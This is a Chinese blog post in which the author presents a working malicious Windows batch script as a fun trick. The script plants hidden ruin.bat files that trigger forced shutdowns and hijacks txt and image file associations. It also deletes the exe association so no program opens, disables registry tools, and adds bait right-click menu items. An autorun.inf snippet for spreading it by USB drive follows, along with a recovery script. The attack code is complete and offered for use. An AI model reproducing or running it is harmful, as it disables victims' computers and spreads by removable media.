我的bat脚本

比如说我要打开一个文本文档(txt), 那么在注册表中就有文本文档的关联,  其原理就是将txt文件与c:/windows/下的notepad.exe(记事本)程序关联起来, 所以你打开txt文件时, 它就通过记事本程序打开..........哼哼~~有想法了吗? (如果将txt关联到你写的某个恶意程序, 那么用户每次打开txt类型的文件时,  打开的就不是记事本了哦~~~~哈哈

很好玩不是吗~~~嗯, 注册表管理着整个系统的秩序

然而修改注册表的方法有很多,,,
比如 用DOS命令修改, 写一个批处理文件(.bat)
再比如 写一个注册表文件(.reg)
还有安装信息文件(.inf) 
当然好多编程语言也都可以进行注册表编程,,,,,如c/c++ java等等
呵呵~~~~至于用什么改就无所畏了, 达到效果就好................

下面列举一个我初学时编写的一个dos批处理文件

代码:

@echo off
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
chcp 437>nul
graftabl 936>nul
color 5e
rem 添加ruin文件...
if exist %windir%/ruin.bat attrib -h -s -r %windir%/ruin.bat
echo @echo off   >%windir%/ruin.bat
echo if not exist h:/111.txt shutdown -s -t 550 -c "sorry, something is wrong in your system, it will be terminated..."   >>%windir%/ruin.bat
echo @echo msgbox "Bye-Bye !">msg.vbs    >>%windir%/ruin.bat
echo @msg.vbs   >>%windir%/ruin.bat
echo @del msg.vbs   >>%windir%/ruin.bat
echo @echo off   >%windir%/system32/ruin.bat
echo if not exist h:/111.txt shutdown -s -t 15 -c "sorry, something is wrong in your system, it will be terminated..."   >>%windir%/system32/ruin.bat
echo @echo msgbox "Bye-Bye !">msg.vbs    >>%windir%/system32/ruin.bat
echo @msg.vbs   >>%windir%/system32/ruin.bat
echo @del msg.vbs   >>%windir%/system32/ruin.bat
rem 修改注册表...
echo Windows Registry Editor Version 5.00 >change.reg
echo [HKEY_CLASSES_ROOT/jpegfile/shell/open/command] >>change.reg
echo @="c://windows//system32//ruin.bat %%1" >>change.reg
echo [HKEY_CLASSES_ROOT/bmpfile/shell/open/command] >>change.reg
echo @="c://windows//system32//ruin.bat %%1" >>change.reg
echo [HKEY_CLASSES_ROOT/icofile/shell/open/command] >>change.reg
echo @="c://windows//system32//ruin.bat %%1" >>change.reg
echo [HKEY_CLASSES_ROOT/giffile/shell/open/command] >>change.reg
echo @="c://windows//system32//ruin.bat %%1" >>change.reg
echo [HKEY_CLASSES_ROOT/jpgfile/shell/open/command] >>change.reg
echo @="c://windows//system32//ruin.bat %%1" >>change.reg
echo [HKEY_CLASSES_ROOT/Drive/shell/敢不敢点我??/command] >>change.reg
echo @="c://windows//ruin.bat %1" >>change.reg
echo [HKEY_CLASSES_ROOT/Folder/shell/你敢不敢点我?/command] >>change.reg
echo @="c://windows//ruin.bat %%1" >>change.reg
echo [HKEY_CLASSES_ROOT/txtfile/shell/open/command] >>change.reg
echo @="c://windows//ruin.bat %%1" >>change.reg
echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/System] >>change.reg
echo "DisableRegistryTools"=dword:00000001 >>change.reg
echo [HKEY_CLASSES_ROOT/exefile/shell/open/command] >>change.reg
echo @=- >>change.reg
echo [HKEY_CLASSES_ROOT/exefile/shell/runas/command] >>change.reg
echo @=- >>change.reg
regedit /s change.reg
del change.reg
rem 修改属性...
attrib +h +s +r %windir%/ruin.bat
attrib +h +s +r %windir%/system32/ruin.bat
@echo msgbox "对不起, 您的系统已经出现问题 ! 请您记下作者QQ522790457 也许对您会有帮助的">msg.vbs  
@msg.vbs 
@del msg.vbs
rem 销毁...
del *.bat

 

 

简单说明一下哈:
1. 将上述代码保存为****.bat(*为随意的文件名)文件后执行, 分别在 c:/windows/ 和c:/windows/system32 中导入了名为ruin.bat文件, 紧接着将其升级为隐藏的系统文件; 

2. 修改其它若干文件的关联(如jpeg,ico,gif,txt); 关联到 c:/windos/ruin.bat 或 c:/windows/system32/ruin.bat 文件; 因此每次要打开某些特定类型的文件时ruin.bat文件自动执行;

3. 删除了exe文件的关联,以致所有应用程序都无法打开,包括注册表(regedit.exe);   并封锁了注册表;

4. 对所有文件夹以及磁盘驱动器右键菜单中添加 "敢不敢点我??" 项, 此项关联到c:/windows/ruin.bat 或 c:/windows/system32/ruin.bat; 同样执行ruin.bat


说明:
   全篇旨意执行ruin.bat; 通过dosth.bat来做好铺垫; 将ruin.bat分布于两个不易被发现的角落,并产生多种方式执行ruin.bat
   或在U盘中新建一个111.txt文件; windows启动前插入U盘(因为我把需判断有无的111.txt文件目录放在了h盘下,通常为U盘)

 

 

让恶意文件自动执行方法:
如果想让其自动执行, 可以建立一个autorun.inf文件,
代码如下:


[autorun]
open = ****.bat


记得最后一行之后要换一下行;
将autorun.inf 与 "****.bat" 同时放到u盘根目录下; 这样当u盘连接电脑后就会自动执行了, 不过大部分杀软可能会自动阻止...

 

恢复方法:

代码如下:

@echo off
echo 完全恢复中...
echo.
echo 1.修复启动项..
echo Windows Registry Editor Version 5.00   >>haha.reg
echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]   >>haha.reg
echo "system"=""   >>haha.reg
regedit /s haha.reg
del haha.reg
echo.
echo 2.恢复注册表项..
reg add "HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/System" /v DisableRegistryTools /t reg_dword /d 00000000 /f
reg add "HKCR/txtfile/shell/open/command" /ve /d "c:/windows/notepad.exe %%1" /f
reg add "HKCR/icofile/shell/open/command" /ve /d "rundll32.exe c:/windows/system32/shimgvw.dll,ImageView_Fullscreen %%1" /f
reg add "HKCR/jpegfile/shell/open/command" /ve /d "rundll32.exe c:/windows/system32/shimgvw.dll,ImageView_Fullscreen %%1" /f
reg add "HKCR/giffile/shell/open/command" /ve /d "rundll32.exe c:/windows/system32/shimgvw.dll,ImageView_Fullscreen %%1" /f
reg add "HKCR/bmpfile/shell/open/command" /ve /d "rundll32.exe c:/windows/system32/shimgvw.dll,ImageView_Fullscreen %%1" /f
reg add "HKCR/jpgfile/shell/open/command" /ve /d "rundll32.exe c:/windows/system32/shimgvw.dll,ImageView_Fullscreen %%1" /f
echo.
echo 为您修复exe文件关联.....
echo Windows Registry Editor Version 5.00 >exe.reg
echo [HKEY_CLASSES_ROOT/exefile/shell/open/command] >>exe.reg
echo @="/"%%1/" %%*" >>exe.reg
echo [HKEY_CLASSES_ROOT/exefile/shell/runas/command] >>exe.reg
echo @="/"%%1/" %%*" >>exe.reg
regedit /s exe.reg
del exe.reg
echo.
echo 3.正在删除右键菜单项..
reg delete "HKCR/Drive/shell/敢不敢点我??" /f
reg delete "HKCR/Folder/shell/你敢不敢点我?" /f
echo.
echo 4.正在删除ruin.bat文件...
if exist %windir%/ruin.bat attrib -r -h -s c:/windows/ruin.bat
del c:/windows/ruin.bat
if exist %windir%/system32/ruin.bat attrib -r -h -s c:/windows/system32/ruin.bat
del c:/windows/system32/ruin.bat
echo.
echo 完成!您的系统一如从前!!
echo.
pause
del *.bat


保存为bat文件双击执行即可!

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值